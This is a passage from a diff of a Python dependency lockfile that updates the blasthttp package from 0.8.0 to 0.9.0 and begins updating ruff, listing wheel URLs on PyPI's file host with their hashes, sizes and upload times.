"sha256:a57c574d16a19a55642f14b199f6bfdca2bac592d8209b44011b80339171023f", size = 5049072, upload-time = "2026-06-03T16:42:14.091Z" }, - { url = "https://files.pythonhosted.org/packages/d2/82/e6c0023a878605de2898ee5a1d9ebfe23bc2f28d1ea781768d867cbafe0f/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:8d45ba653a5b065acc527c767b8a9f956f28005c2ac4b3c1cd8c193b034bb498", size = 4380081, upload-time = "2026-06-03T16:42:22.518Z" }, - { url = "https://files.pythonhosted.org/packages/00/be/1fff0f4241a7127be8ff60fd5f3f125eb9098ce77d7ed8d1780913dcb1f5/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d331e88b7a6e10c0d1c82a938e5c92e6895d88db3a0b411a802d20a4c76d84da", size = 4790788, upload-time = "2026-06-03T16:42:30.793Z" }, - { url = "https://files.pythonhosted.org/packages/52/3c/0e2cd16c54943542be8787ef189fa8d139263724bbaf34237388b3879ef0/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8beb63dc1cb86e78800c290cad4e0ea41cca888b404a1aa13f82f2498d41ffc6", size = 4752791, upload-time = "2026-06-03T16:42:38.838Z" }, - { url = "https://files.pythonhosted.org/packages/72/35/102a12e9b4cf264fb8bcce9868f3c7cd5dbb34a1de6dd015100b4418e2b0/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:abe9fd8f56f66a0c062c4c3c2cf4cb54f1864ee372251e613128abdeb2b89577", size = 4762135, upload-time = "2026-06-03T16:41:24.556Z" }, - { url = "https://files.pythonhosted.org/packages/7b/53/d54a652127d8464b28c18d7d3612b8f2bd599637277a7aa139dbe9051348/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:b79e2c28fd75c81aba762fb1d543f4725f89ea566833a99a8578e2b048882209", size = 4072840, upload-time = "2026-06-03T16:41:33.207Z" }, - { url = "https://files.pythonhosted.org/packages/c0/44/9de9d13418cd69f0e1a0bebff7a2b471902e914e6378c2a66b1af0da703e/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:30cec8c7a75d995bad17083705717aae834db91fc84324333f90585f15c18908", size = 4662132, upload-time = "2026-06-03T16:41:59.382Z" }, - { url = "https://files.pythonhosted.org/packages/17/ba/9ee9a69155a06bf69894a706a14222556efaa88d922cbbf604255373b645/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6359720a6630aa75c8fc9656734c299e26b9327c3217e23d5aa8bb57af7f8583", size = 4662453, upload-time = "2026-06-03T16:41:42.155Z" }, - { url = "https://files.pythonhosted.org/packages/cf/39/93092f088ecfba6d8b3067fe253638e107077062909ba4a5a0c08543870e/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:bf2e5852487a36cf81c52571dd33e5e03b8739e0e165dc5cb24b5cf620f66514", size = 4280587, upload-time = "2026-06-03T16:41:50.925Z" }, - { url = "https://files.pythonhosted.org/packages/8a/91/0aa6e6f270c08d8e72b9210df3ad98131152e79797b04a58e139d14a9733/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ebc35afa0588e5d29cf41c10712df21acf943b792602cb034c984f75845e4f99", size = 4413146, upload-time = "2026-06-03T16:42:07.482Z" }, - { url = "https://files.pythonhosted.org/packages/ba/ab/481c7433f821f41c94d555b3dcd29eb3d4ded4a1264607740cf801a007ed/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a60a147500a28a82c5c490ee9e304a543183cb17f74d97352262c575844b09ed", size = 5049269, upload-time = "2026-06-03T16:42:15.87Z" }, - { url = "https://files.pythonhosted.org/packages/28/cd/0bc1c950315a809878e2a0b726528a8408e60ee1021a3ed0fc0301bbdf12/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:437b5b2e6eaeb163df2209f53a1400be85ae99709fbca60737c5c983262e1013", size = 4379004, upload-time = "2026-06-03T16:42:24.147Z" }, - { url = "https://files.pythonhosted.org/packages/f9/83/87c15e2bf24d0583785572dd091a72651e6c79015bc3146d1797087037ac/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:013d22c43ca93f5819841d071d54e9a9261b892ccac79a45c2ad478f959dec30", size = 4792370, upload-time = "2026-06-03T16:42:32.474Z" }, - { url = "https://files.pythonhosted.org/packages/c1/57/f7439d58c7c34f4c2c9e86baae96b82b37366f83c70e7a242bdffb2d52cc/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c0e6ad1a9af187c5194ed1caa20cabc838852d5f840e23b7d59296661ec0c84d", size = 4753302, upload-time = "2026-06-03T16:42:40.64Z" }, - { url = "https://files.pythonhosted.org/packages/86/bf/a05d5c73d55cc165d0f5ab8c6dbac843547a06d5cab94456307530402897/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:340f85223bf6a5caf1b1337a6cd207e3ec9c891a68e2cf798ec3b2f792a99559", size = 4760019, upload-time = "2026-06-03T16:41:26.369Z" }, - { url = "https://files.pythonhosted.org/packages/f0/87/459221e7caac368f76ce722a91c773eac4b97fa06cb8d9b02aef3378d6ad/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:b4fed5b1fde40981a68c2e51388979820ca10c19d4e918ba14d30986775e1048", size = 4070310, upload-time = "2026-06-03T16:41:35.568Z" }, - { url = "https://files.pythonhosted.org/packages/29/45/7936ef2a85849353a5dc6d3d30cdb09cf3b9a254a5b22f2b1071c8fd5888/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:3aef5de8af4e39fd0c48fcc6d1ed2e2d1ad4b6e08ec4adb731e65c201b4dd7a3", size = 4660407, upload-time = "2026-06-03T16:42:01.071Z" }, - { url = "https://files.pythonhosted.org/packages/7f/21/bea405147a9b5c25c428eed1a643bb75d13af340318fa8ad321ca90598ce/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:8f725cf3af1e29d19d8029a1cc7336a60275f8a7227816822ee1325468f72b4d", size = 4659076, upload-time = "2026-06-03T16:41:43.932Z" }, - { url = "https://files.pythonhosted.org/packages/67/18/c232401bc881a771e460da3683fedb4bd151525bf8a6c28225e2bffa4b28/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:45c05d19fbc9691a4ebb6f3952da3bb29549a54f71921bf76e98aecc7cf69480", size = 4279493, upload-time = "2026-06-03T16:41:52.524Z" }, - { url = "https://files.pythonhosted.org/packages/06/53/d50542f5bae28f2aa6cac9ee465c1ebc8e5030f5ce56ba33a19efd28e062/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:d8bcc51940a721f9fe5a719649cc0a82d9cd1cda849c0bb8d8e30a9a85123430", size = 4413576, upload-time = "2026-06-03T16:42:09.102Z" }, - { url = "https://files.pythonhosted.org/packages/a0/86/33478451ff04a67a8cffd76d5ebe6520b89931fcb61d8ae0f3637c696350/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3e37825847337904bb0bdf0dc959833431aec3716200d7a23c057c4291755f1b", size = 5047184, upload-time = "2026-06-03T16:42:17.554Z" }, - { url = "https://files.pythonhosted.org/packages/ef/47/12b2246f310e062da827c523b50353ca303414dfff228855c6741d2b6043/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:04c77b2346ed3d5687c95f30815865ed54d4accbd53d4b972ad63f22f32e245e", size = 4375613, upload-time = "2026-06-03T16:42:25.868Z" }, - { url = "https://files.pythonhosted.org/packages/e3/d4/7374eb72e2e2a965fb1a8bd9034377021b64607682d096d7c4c95359f7bb/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:2852f6386e8ed18b46d5e2f8ecf7e8dda16d708fe477176ee31a833990b8b1ed", size = 4791538, upload-time = "2026-06-03T16:42:34.156Z" }, - { url = "https://files.pythonhosted.org/packages/bd/3e/b053e3363d5bee4f2c0411a049718afbc39502db17ecee3cbefe1f73d78b/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:45d544be8678c0425cd3f78261e5e986536dc5413424682958901d8210447daa", size = 4752925, upload-time = "2026-06-03T16:42:42.363Z" }, +version = "0.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/44/53/9d6b95be1a088c9910fbe66737321c9ecc2a276ca9bd8bb9a980ce95f78c/blasthttp-0.9.0.tar.gz", hash = "sha256:26ea06cbe41d06c54f32d0f44f863f352a1e25c3bb7708371e6a6a1f14f10887", size = 155052, upload-time = "2026-06-15T21:36:52.799Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/9f/09edc18d272f2e081e5feccb58be2f2d9796fed588a9c1a384b3647c55bb/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:1c04516f462aead9b80a0d1441c1363b2dd936f9bdbe95bcfd68297b28af5690", size = 4766864, upload-time = "2026-06-15T21:35:34.701Z" }, + { url = "https://files.pythonhosted.org/packages/02/d9/7154e248e59886f154377a7a28be38b0f14bc6ee8d8ced3fc96ba5dacd4f/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:251d241e81363bdaa7865b8b522454124c2966b804f17617a6e948a4e3213eec", size = 4073697, upload-time = "2026-06-15T21:35:44.099Z" }, + { url = "https://files.pythonhosted.org/packages/96/73/685868e9aaf009ad2abaf4bd0154ebbdaa867755b43846bfbfd3ab10d288/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:bcbec4d6069beb7d35ec7bc45ddaee3ab75c84807ffe1693ee5dc23f74284abb", size = 4674200, upload-time = "2026-06-15T21:36:06.125Z" }, + { url = "https://files.pythonhosted.org/packages/9e/42/30c7bba3ff019022757f84f0d22093606dac1d957bec3359bcefcca7896a/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:b0c2b79a33f9c12a4a20be8972ad71420fd87d423fc41b2c209f6e35a913da95", size = 4676689, upload-time = "2026-06-15T21:35:51.19Z" }, + { url = "https://files.pythonhosted.org/packages/bb/11/eda9b048c26682b74520662283ffbad0b93901d203b98480a4d56383876a/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:c5b77484c1b0f3947517060ca6c9d8f7897df747b71a0b47601ad2d9f68ebff6", size = 4281801, upload-time = "2026-06-15T21:35:59.122Z" }, + { url = "https://files.pythonhosted.org/packages/a5/9f/f0a0bd43cc5f2127d4e12d44333b58ce1a82d78fc5570c6b46b18cbf4168/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:4aa44e909d6da3701ff9232a36c297b6b6aee6eacf8b3256056c99ad0c2b2c9d", size = 4423208, upload-time = "2026-06-15T21:36:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/ac3dbee046c309db30638fa0e0d399a17c88693b96aa7770b435a1157b77/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7c40dfdabeba10153438702bdbd1c8b9f52a970ac0c716d18994cc8129eafdd3", size = 5055907, upload-time = "2026-06-15T21:36:22.366Z" }, + { url = "https://files.pythonhosted.org/packages/87/6b/48789cd1bc6f8c5f15d2392ce79aef8070485517cdcfc2e6b9fe6058a872/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f546903b501fc5001e2e34a84263ae33c5f76babc2badaa3a135d17f9f4e57ae", size = 4377479, upload-time = "2026-06-15T21:36:30.118Z" }, + { url = "https://files.pythonhosted.org/packages/51/23/b4732d9cd6cb344187673b9a3906bad350ee64b90ccd2d23a231a8c9a3b7/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3e42bf089fa6f1e083450bf67049033e83877629ca7248fc23ab50c6067a361e", size = 4801122, upload-time = "2026-06-15T21:36:37.173Z" }, + { url = "https://files.pythonhosted.org/packages/4d/48/8cd6fbc8b0575c8ae8d1597217f4d411ecf360b4b2e15bbf6cfaf27b6fba/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:4c1425f7189f55f9ae80994bc3ef20831e25fdafc41fedd5d31dfac7c0b284fa", size = 4768767, upload-time = "2026-06-15T21:36:45.094Z" }, + { url = "https://files.pythonhosted.org/packages/b0/7f/110ebe871906e7a82d4c7c612872a512fb78736c6c3600d6d601869a3ab0/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:3be37f102e9e06cdd45d8979872fe84391d15991c585f8505eff0d96c3669624", size = 4763145, upload-time = "2026-06-15T21:35:36.634Z" }, + { url = "https://files.pythonhosted.org/packages/1e/61/d52d9b8b336835eff9aa172f908b521513e463800f040d5d5c8fba6f07f8/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7fef685aa2cb3c143062f92e4e500cc86b0c7fdb5d5b7ec4fed3d7ce732a3ad7", size = 4070730, upload-time = "2026-06-15T21:35:45.576Z" }, + { url = "https://files.pythonhosted.org/packages/87/f4/ff46c240c6ffa0626074759116f77457f653a6872552cba64c5a3d60b138/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:716591b23de1e798883eefcccedd30f05d49a668c85a9012b982db631320917d", size = 4671280, upload-time = "2026-06-15T21:36:07.697Z" }, + { url = "https://files.pythonhosted.org/packages/7f/e4/b24001961b51064aa104fdaf2cb8bca32a5d4efd91f8600f2f931e6c206f/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:3158f012783770f583ae9df51488fa1c97b5bd524c4c9c8f55be76f84bd56e3c", size = 4673094, upload-time = "2026-06-15T21:35:52.799Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ca/fd030ebc451787ea16d2bc100495407db96575b91b77019b99167d1a14c0/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:3d0fe4a0310efb43b2c4718f0c205e60afd862fd19bccc5eb8a8cde273e967bc", size = 4279280, upload-time = "2026-06-15T21:36:00.493Z" }, + { url = "https://files.pythonhosted.org/packages/1e/34/6789ef97a39bf78b19746c387e230b73477a89ea068c0755a66c37f8caaa/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:dbf7c595fde38a3fb344ce2af86be32101b96d1ec36720951fe5023c3be195a7", size = 4419349, upload-time = "2026-06-15T21:36:16.278Z" }, + { url = "https://files.pythonhosted.org/packages/2a/ad/edf1e6bbf68027efa4a04909b49cf8fef906dd8696bb39cdbc1b4e7f54f1/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:20f38c9aa8e68a89967c40e1439514d1970126c83fc12593b7fb1bf351d9bd87", size = 5052458, upload-time = "2026-06-15T21:36:23.808Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a2/118f8d494c6a025f54ef13fb4b884dfd62f9677c1c6f87b89df59299f104/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:4f3cec9e6b75a053e7314e5a4f37e3b70c438150fb0ffe8ddf13efb9c3e2179f", size = 4374423, upload-time = "2026-06-15T21:36:31.424Z" }, + { url = "https://files.pythonhosted.org/packages/ac/75/c71c99e1dc173368a4c8c634eaf24226d930c0effc8761143c956ae4d372/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:37b7fe7af2d4406683aece1f0b72b54b38d72b8ec50fbdeaef4d6ecebb50153b", size = 4798350, upload-time = "2026-06-15T21:36:38.694Z" }, + { url = "https://files.pythonhosted.org/packages/89/20/e0ea364de4c1d62f3d26bcdc9495851d2dc9edd3f6e2de19dcd7395b790e/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1727f4974693361b235707158adde60ee940afd3734ae9f466e5df80bb286792", size = 4764750, upload-time = "2026-06-15T21:36:46.942Z" }, + { url = "https://files.pythonhosted.org/packages/f5/c8/7db25d794c1732cdda80252911126136283664158e36de09ea7d58bc1e33/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:155447aa09052993bd5b7d8d01c950ce4df6e890c30e1ed195115b144af126e6", size = 4762296, upload-time = "2026-06-15T21:35:39.083Z" }, + { url = "https://files.pythonhosted.org/packages/57/af/deec8245df32e0b2b5b5861615bf67155e367acd9f6ab517f9ad7b3ba0a8/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:b2600d2f2514de765a8f78abdecf51a455ca7f8c349ff7dc36caf512b3a17a72", size = 4077541, upload-time = "2026-06-15T21:35:47.032Z" }, + { url = "https://files.pythonhosted.org/packages/f2/9b/65d3581a9c60296809158fb75e9f7d089d9e4c213094365f0ada1b583be8/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:aeb9a246d0518ac113f67f8de7506da343d38e9708f5f4cef04907a86499adfd", size = 4672305, upload-time = "2026-06-15T21:36:09.165Z" }, + { url = "https://files.pythonhosted.org/packages/2b/a5/49e93ea714e90511077d26fda8e4965bf1ba2bbce0570dd5ae3957c8afa0/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:8fb0cf3adfc80eefcac0f3580732fef45666621bd8d019b3c8b39c5dd2648661", size = 4663135, upload-time = "2026-06-15T21:35:54.157Z" }, + { url = "https://files.pythonhosted.org/packages/31/35/0ed43356b8ea44692c9c0bd4426c948106f2e6d39a518c23a5c780bdf99a/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:ab5aff6afbef63d99f4a5de03e393c9a039620af6c72c3f3a671ef242c3bac25", size = 4280427, upload-time = "2026-06-15T21:36:02.065Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2a/7a9b8a94eb58bd1239f34c4d3bc89a0960c396d5dd6711a9dd2f353d4a4d/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6e4210fd9ac4cd3686eb05e819213c3d33a52109f71b6c6a1887684bffe6531f", size = 4421105, upload-time = "2026-06-15T21:36:17.767Z" }, + { url = "https://files.pythonhosted.org/packages/a6/2d/fffdb02e96a9ca52c3cef01c0b0f541aa27ab38f68317841a3241c0e91c4/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f7d7367bc66b0065842d52f23b7f75bb1c8476315842c3ada93613fb8ce60fbd", size = 5053534, upload-time = "2026-06-15T21:36:25.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/cf/909e743d769cab2a6a8032e81d8501f2eadba01de73fa280c0f859f94405/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:08625ed7d42854d655a184af0b3a74ae4ea89db5d52b35f4ae40fa7e4c6ab54f", size = 4382322, upload-time = "2026-06-15T21:36:32.792Z" }, + { url = "https://files.pythonhosted.org/packages/5a/4b/8f69810722de8bb94ef361e024963e4a549138740ece806ed41a762285e2/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:bd755728bc8cfa8dbfc801b471b491b886f465a3aaa8248bce356e47c2874732", size = 4797203, upload-time = "2026-06-15T21:36:40.074Z" }, + { url = "https://files.pythonhosted.org/packages/4f/fe/b952a738cefb8c7ba1ac2133932c5e86bae668be76bbd5592725b59b04c8/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e07326b0567a63c97103a7f62e61f3d932e7eaeed593589595f6d19329a95511", size = 4766059, upload-time = "2026-06-15T21:36:48.536Z" }, + { url = "https://files.pythonhosted.org/packages/f5/94/7e357f269931f23713bd1583cd6aa1a6a933f57e288530fc3ecf5277e7f0/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:4bb06319445f3947270299021a90d17602cb8452061a16c6fe3b625385f28734", size = 4762190, upload-time = "2026-06-15T21:35:40.643Z" }, + { url = "https://files.pythonhosted.org/packages/61/1c/172868090da7ad3eef4c51df2cfbcb887a32e01e63e89beb0ad1b94409d3/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:c31b8f046a43808bdcc59f17755f258c2eeb4c330a3e64bc3ceb584e64392a95", size = 4077238, upload-time = "2026-06-15T21:35:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1b/6e107e39df38ccbc71eb9850070760a6f9f5b72f7efc1b4d954db377807e/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:a284deb8cf90613c69794b541c6cd626aa4868c984e4b5fbdf1bf043cd73a2b7", size = 4672982, upload-time = "2026-06-15T21:36:10.682Z" }, + { url = "https://files.pythonhosted.org/packages/64/e5/5d52b1cbaf67cb53d4c839c92b61d0c77308dcef10dd998d9e2606c9529a/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:ed03a183ee33408b97a230c9c434c7c4cb741514ab305890b1b340ad74e61f66", size = 4666487, upload-time = "2026-06-15T21:35:55.968Z" }, + { url = "https://files.pythonhosted.org/packages/d9/50/a7f9ec3f3872ba6843fc94fc3f33c3894e4126f2d4bd79a09f7bab3790f9/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:1d287822c37cddfc4afbaaca52728cb69023c62ce4b827442a10bc2241a89231", size = 4280480, upload-time = "2026-06-15T21:36:03.379Z" }, + { url = "https://files.pythonhosted.org/packages/27/c3/8bfd1d52161a189e5a872ac9aeeeb91ee8422791106a5ee5fd9c10f1feb2/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0232025d11e5419694cd3be83d5178e219b76a5e1cd741a2dda6cde965c321c8", size = 4419015, upload-time = "2026-06-15T21:36:19.333Z" }, + { url = "https://files.pythonhosted.org/packages/1b/e4/f32855cc52de0c48f5b594b27f4520f98453b4b275a32ba142bf8ef9ce68/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2fa8ad80e8b8af8a7c8795558e33a56d5a4a42b5ce95249260a8f560f487559c", size = 5052200, upload-time = "2026-06-15T21:36:26.74Z" }, + { url = "https://files.pythonhosted.org/packages/98/a6/4a77fccca262dc9e921d8d9c319ddbdd913f5691d8de2f48e0a4dddac751/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:23b1a607a2acca057f8dcad543dfaee11478619742b7f312894624d793a5050e", size = 4382196, upload-time = "2026-06-15T21:36:34.191Z" }, + { url = "https://files.pythonhosted.org/packages/63/40/d0078de2290b4a9442614afd43cb4cbb86857d951a25fa3c3ae4124ceea1/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5f924bbdf0941e1ac791b5891d266ba09758a2ecaf684dadf8c889e083c170c4", size = 4798832, upload-time = "2026-06-15T21:36:42.043Z" }, + { url = "https://files.pythonhosted.org/packages/b6/3e/31f2dc8058305ecbb70cd4251fde7160911734607ccdd716e4df27954b65/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:71d18ed81aa1293db1f6728c64d1ea39bbedb61c85ec18d7b19c7745c4e9848b", size = 4766452, upload-time = "2026-06-15T21:36:50.004Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a4/f799a142cd33bcb2121c097d4db5864328aef94b758735f50df4bb2f7b04/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:157d875d352dd362f0860d4c6538a21b1b74dbefe20fa98993d629db4f10c7c8", size = 4762944, upload-time = "2026-06-15T21:35:42.21Z" }, + { url = "https://files.pythonhosted.org/packages/89/65/c65faeed8900a1da12e819789f2086624c01d78ad828d96ff29db7eafed1/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:75d8d8c056d717e2c1cbbd50fa60e02d7934418dec8c6c799b1d7536cefce250", size = 4075125, upload-time = "2026-06-15T21:35:49.83Z" }, + { url = "https://files.pythonhosted.org/packages/4f/29/2a1f85e3eb87af41039e43e8f7c4fe131e861ac74a68682a5991d3ba8dc4/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:f71338fe994e792e5be51798c265503fa22b27ebe8194aae3479451b67ff2e51", size = 4673382, upload-time = "2026-06-15T21:36:12.8Z" }, + { url = "https://files.pythonhosted.org/packages/eb/7e/259e9514f6bc686d7b9cba98f1088fa8be6938715f662494e75fdd7cd4ef/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:ea9199cb2f1e6460b73b0ef5d99d7aa4614789d2c8fcb0f2662c49a69cc7fc12", size = 4663884, upload-time = "2026-06-15T21:35:57.559Z" }, + { url = "https://files.pythonhosted.org/packages/6b/b0/246652873eece7a4ac1e8197814a1411f4f22b8512b19dde727032282d4c/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:147129f105fafc7940d16c2cb776f263e26da808fdb46357522757c02972747d", size = 4281239, upload-time = "2026-06-15T21:36:04.76Z" }, + { url = "https://files.pythonhosted.org/packages/98/6f/63136147f360833e4dfd0b2c2a1e3697643726319d1f7dced6cec5e3c30a/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:ae6a2790fff9b448b611ae3c5f46275ba90bdbf6ade4722f3986b491063ac37c", size = 4420274, upload-time = "2026-06-15T21:36:20.931Z" }, + { url = "https://files.pythonhosted.org/packages/c7/10/8483c4cef830d81032f4c90d72cc0c215050b2f0456f8adc5391a4b1a321/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7035bef149beea7074c1653afa2ae7f679f80afb53540ad2bf5aca8ba03c89b9", size = 5052232, upload-time = "2026-06-15T21:36:28.491Z" }, + { url = "https://files.pythonhosted.org/packages/45/fa/f726362b5b1a890920e33940ef99f5eb1808689f848c33c6a27d7fdd7c10/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:174b6f4e380324dbb724f87348715752c852c68735b55c2a01dec9809cc13241", size = 4376916, upload-time = "2026-06-15T21:36:35.649Z" }, + { url = "https://files.pythonhosted.org/packages/1b/74/9c608c6d83fe9acb0273b31b3e0346d63d2915585d90c5345313c5cfb2ac/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:d9595e79d60c924f0af7ff54fddf9fddbae6876cba09b5f3975d26f77c84e40d", size = 4800238, upload-time = "2026-06-15T21:36:43.535Z" }, + { url = "https://files.pythonhosted.org/packages/eb/45/8fa9c49735bec973ddd5ed0da3651f8c5b21bc5919efb123219e46b7eaa5/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:065f71b3a83e934c732e61379224e3101030396409d1224fe133e3d3da25705b", size = 4764591, upload-time = "2026-06-15T21:36:51.504Z" }, ] [[package]] @@ -2791,27 +2791,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.16" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/5f7ec371001337d8fa61701c186ff8b613ecac1651848c5950f4c4d5f2e9/ruff-0.15.16.tar.gz", hash = "sha256:d05e78d38c78caf020b03789e25106c93017db5a0cb6e2819885018c61343b78", size = 4714267, upload-time = "2026-06-04T16:33:09.974Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0c/42/53ef1c3953f157956db9bf7861e3bc50b9b887ce93300aa48cdba8336fe6/ruff-0.15.16-py3-none-linux_armv6l.whl", hash = "sha256:6ac3c0b3969cc6cf6b158c4e2f8f682acb58e7d700d8a44b65ecdc72d66ab0b2", size = 10709025, upload-time = "2026-06-04T16:32:51.935Z" }, - { url = "https://files.pythonhosted.org/packages/93/9a/a79159346f19134a956607754e57d8d128f7a4c00f4ad2f7514d224c172c/ruff-0.15.16-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:197c207ed75ffba54a0dec23db4aa939a27a3053073e085e0042433cbdc58e4a", size = 11063550, upload-time = "2026-06-04T16:32:42.24Z" }, - { url = "https://files.pythonhosted.org/packages/bc/72/3ce2ac000a5299ec238e01f51397b3b653c93b077d9b1bfe8715bb895f20/ruff-0.15.16-py3-none-macosx_11_0_arm64.whl", hash = "sha256:3a39fec45ab316cc23e7558f23fea4a70403ddb5648ea9a4a3854a16973d0071", size = 10421345, upload-time = "2026-06-04T16:32:37.251Z" }, - { url = "https://files.pythonhosted.org/packages/b0/c2/cc7fad3ec9169373f5b6a18f1917b91080feec40c3f9658334a1d28e2f03/ruff-0.15.16-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba93191d79003116b95128c9d306e045200fdbd0bccb782b110f3cd1d4abc5cf", size = 10757217, upload-time = "2026-06-04T16:32:54.722Z" }, - { url = "https://files.pythonhosted.org/packages/69/d2/3474009eaa0a65b31fa7152a2fad5e2f050c640ceb1e6b02ee6922e94c82/ruff-0.15.16-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c6ee4b90520630120ef032aa5cc10db483852dff950e78b1d717e2993a61ac8d", size = 10507035, upload-time = "2026-06-04T16:33:05.343Z" }, 